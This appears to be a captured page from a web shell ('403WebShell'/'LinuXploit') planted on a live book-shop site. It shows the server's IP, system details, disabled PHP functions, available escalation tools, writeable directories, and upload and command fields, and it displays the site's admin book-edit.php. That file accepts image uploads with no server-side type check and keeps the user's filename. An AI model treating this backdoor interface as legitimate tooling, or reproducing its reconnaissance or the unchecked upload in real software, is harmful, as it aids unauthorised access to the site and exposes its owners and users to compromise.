Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/book.gyaniguru.org/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/book.gyaniguru.org/admin/book-edit.php
<?php
include 'includes/header.php';

$categories = get_all("SELECT * FROM categories");

// Get book ID and fetch data
$id = $_GET['id'] ?? 0;
$book = get_row("SELECT * FROM books WHERE id = ?", [$id]);

if (!$book) {
    header("Location: books.php?msg=Book not found");
    exit();
}

    if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['update_book'])) {
    $title = $_POST['title'];
    $title_bengali = $_POST['title_bengali'];
    $author = $_POST['author'];
    $category_id = $_POST['category_id'];
    $price = $_POST['price'];
    $original_price = $_POST['original_price'];
    $pages = $_POST['pages'];
    $language = $_POST['language'];
    $isbn = $_POST['isbn'];
    $binding = $_POST['binding'];
    $description = $_POST['description'];
    $long_description = $_POST['long_description'];
    $is_featured = isset($_POST['is_featured']) ? 1 : 0;
    $is_new = isset($_POST['is_new']) ? 1 : 0;
    $is_upcoming = isset($_POST['is_upcoming']) ? 1 : 0;
    $release_date = !empty($_POST['release_date']) ? $_POST['release_date'] : null;
    $badge = $_POST['badge'];

    // Handle Main Image Upload
    $image = $book['image']; // Keep existing image by default
    if (isset($_FILES['image']) && $_FILES['image']['error'] == 0) {
        $target_dir = "../images/";
        $filename = time() . "_" . basename($_FILES["image"]["name"]);
        $target_file = $target_dir . $filename;
        if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
            $image = "images/" . $filename;
        }
    }

    // Handle Additional Images Upload
    $additional_images = [];
    if (isset($_FILES['additional_images']) && $_FILES['additional_images']['error'][0] == 0) {
        $target_dir = "../images/";
        $count = count($_FILES['additional_images']['name']);
        for ($i = 0; $i < $count; $i++) {
            if ($_FILES['additional_images']['error'][$i] == 0) {
                $filename = time() . "_" . $i . "_" . basename($_FILES["additional_images"]["name"][$i]);
                $target_file = $target_dir . $filename;
                if (move_uploaded_file($_FILES["additional_images"]["tmp_name"][$i], $target_file)) {
                    $additional_images[] = "images/" . $filename;
                }
            }
        }
    }

    $sql = "UPDATE books SET title=?, title_bengali=?, author=?, category_id=?, price=?, original_price=?, image=?, pages=?, language=?, binding=?, isbn=?, description=?, long_description=?, is_featured=?, is_new=?, is_upcoming=?, release_date=?, badge=? WHERE id=?";
    
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("sssiddsisssssiiissi", $title, $title_bengali, $author, $category_id, $price, $original_price, $image, $pages, $language, $binding, $isbn, $description, $long_description, $is_featured, $is_new, $is_upcoming, $release_date, $badge, $id);
    
    if ($stmt->execute()) {
        // Save additional images to database
        if (!empty($additional_images)) {
            foreach ($additional_images as $index => $image_url) {
                $sort_order = $index;
                $img_stmt = $conn->prepare("INSERT INTO book_images (book_id, image_url, sort_order) VALUES (?, ?, ?)");
                $img_stmt->bind_param("iss", $id, $image_url, $sort_order);
                $img_stmt->execute();
            }
        }
        
        echo "<script>window.location.href='books.php?msg=Book updated successfully';</script>";
        exit();
    } else {
        $error = "Error: " . $conn->error;
    }
}
?>

<div class="admin-card">
    <div class="d-flex align-items-center gap-3 mb-4">
        <a href="books.php" class="btn-action bg-secondary bg-opacity-20 text-secondary"><i class="bi bi-chevron-left"></i></a>
        <h5 class="m-0">Edit Book</h5>
    </div>

    <form action="" method="POST" enctype="multipart/form-data">
        <div class="row g-4">
            <div class="col-md-8">
                <div class="row g-3">
                    <div class="col-md-6">
                        <label class="form-label">Book Title (English)</label>
                        <input type="text" name="title" class="form-control" required placeholder="e.g., Jyotish Rahasya" value="<?php echo htmlspecialchars($book['title']); ?>">
                    </div>
                    <div class="col-md-6">
                        <label class="form-label">Book Title (Bengali/Other)</label>
                        <input type="text" name="title_bengali" class="form-control" placeholder="e.g., জ্যোতিষ রহস্য" value="<?php echo htmlspecialchars($book['title_bengali']); ?>">
                    </div>
                    <div class="col-md-6">
                        <label class="form-label">Author Name</label>
                        <input type="text" name="author" class="form-control" value="<?php echo htmlspecialchars($book['author']); ?>" required>
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Category</label>
                        <select name="category_id" class="form-control" required>
                            <option value="">Select Category</option>
                            <?php foreach($categories as $cat): ?>
                                <option value="<?php echo $cat['id']; ?>" <?php echo $book['category_id'] == $cat['id'] ? 'selected' : ''; ?>>
                                    <?php echo $cat['name']; ?>
                                </option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Badge (Optional)</label>
                        <input type="text" name="badge" class="form-control" placeholder="e.g., Bestseller" value="<?php echo htmlspecialchars($book['badge']); ?>">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Price (Sale)</label>
                        <input type="number" name="price" class="form-control" required step="0.01" value="<?php echo $book['price']; ?>">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Original Price</label>
                        <input type="number" name="original_price" class="form-control" required step="0.01" value="<?php echo $book['original_price']; ?>">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Pages</label>
                        <input type="number" name="pages" class="form-control" value="<?php echo $book['pages']; ?>">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Language</label>
                        <input type="text" name="language" class="form-control" placeholder="e.g., Bengali" value="<?php echo htmlspecialchars($book['language']); ?>">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Binding</label>
                        <select name="binding" class="form-control">
                            <option value="Paperback" <?php echo $book['binding'] == 'Paperback' ? 'selected' : ''; ?>>Paperback</option>
                            <option value="Hardcover" <?php echo $book['binding'] == 'Hardcover' ? 'selected' : ''; ?>>Hardcover</option>
                            <option value="Spiral" <?php echo $book['binding'] == 'Spiral' ? 'selected' : ''; ?>>Spiral</option>
                        </select>
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">ISBN Number</label>
                        <input type="text" name="isbn" class="form-control" placeholder="978-81-XXXX-XXX" value="<?php echo htmlspecialchars($book['isbn']); ?>">
                    </div>
                    <div class="col-12">
                        <label class="form-label">Current Image</label><br>
                        <img src="../<?php echo $book['image']; ?>" alt="Current Image" style="max-height: 100px; border-radius: 6px; box-shadow: 0 4px 10px rgba(0,0,0,0.1);" onerror="this.src='../images/placeholder.png'">
                    </div>
                     <div class="col-12">
                         <label class="form-label">Change Image (optional)</label>
                         <div class="p-3 border border-secondary border-dashed rounded text-center" style="border-style: dashed !important;">
                             <i class="bi bi-cloud-arrow-up display-4 text-muted mb-2 d-block"></i>
                             <input type="file" name="image" class="form-control form-control-sm border-0" style="background:transparent" accept="image/*">
                             <small class="text-muted">Leave blank to keep current image. Recommended: 400x600px</small>
                         </div>
                     </div>
                     <div class="col-12">
                         <label class="form-label">Additional Images (Optional)</label>
                         <div class="p-3 border border-secondary border-dashed rounded text-center" style="border-style: dashed !important;">
                             <i class="bi bi-images display-4 text-muted mb-2 d-block"></i>
                             <input type="file" name="additional_images[]" class="form-control form-control-sm border-0" style="background:transparent" accept="image/*" multiple>
                             <small class="text-muted">Recommended: 400x600px (You can select multiple images)</small>
                         </div>
                     </div>
                    <div class="col-12">
                        <label class="form-label">Short Description</label>
                        <textarea name="description" class="form-control" rows="2" placeholder="Brief summary for shop page..."><?php echo htmlspecialchars($book['description']); ?></textarea>
                    </div>
                    <div class="col-12">
                        <label class="form-label">Full Description</label>
                        <textarea name="long_description" class="form-control" rows="6" placeholder="Detailed content..."><?php echo htmlspecialchars($book['long_description']); ?></textarea>
                    </div>
                </div>
            </div>
            <div class="col-md-4">
                <div class="mb-4 p-3 rounded" style="background: var(--cream); border: 1px solid var(--cream-dark);">
                    <h6 class="mb-3" style="color: var(--maroon);">Book Attributes</h6>
                    <div class="form-check form-switch mb-2">
                        <input class="form-check-input" type="checkbox" name="is_featured" id="flexSwitchCheck1" <?php echo $book['is_featured'] ? 'checked' : ''; ?>>
                        <label class="form-check-label" for="flexSwitchCheck1">Show in Bestsellers (Home)</label>
                    </div>
                    <div class="form-check form-switch">
                        <input class="form-check-input" type="checkbox" name="is_new" id="flexSwitchCheck2" <?php echo $book['is_new'] ? 'checked' : ''; ?>>
                        <label class="form-check-label" for="flexSwitchCheck2">Mark as New Arrival</label>
                    </div>
                    <div class="form-check form-switch mt-2">
                        <input class="form-check-input" type="checkbox" name="is_upcoming" id="flexSwitchCheck3" <?php echo $book['is_upcoming'] ? 'checked' : ''; ?> onchange="document.getElementById('releaseDateGroup').style.display=this.checked?'block':'none'">
                        <label class="form-check-label" for="flexSwitchCheck3">Mark as Upcoming</label>
                    </div>
                    <div id="releaseDateGroup" style="display:<?php echo $book['is_upcoming'] ? 'block' : 'none'; ?>">
                        <label class="form-label" style="font-size:0.85rem;margin-top:8px">Expected Release Date</label>
                        <input type="date" name="release_date" class="form-control form-control-sm" value="<?php echo $book['release_date']; ?>">
                    </div>
                </div>
                <hr style="border-color: rgba(255,255,255,0.1)">
                <button type="submit" name="update_book" class="btn btn-gold w-100 py-3">
                    <i class="bi bi-save me-2"></i> UPDATE BOOK
                </button>
            </div>
        </div>
    </form>
</div>

<?php include 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit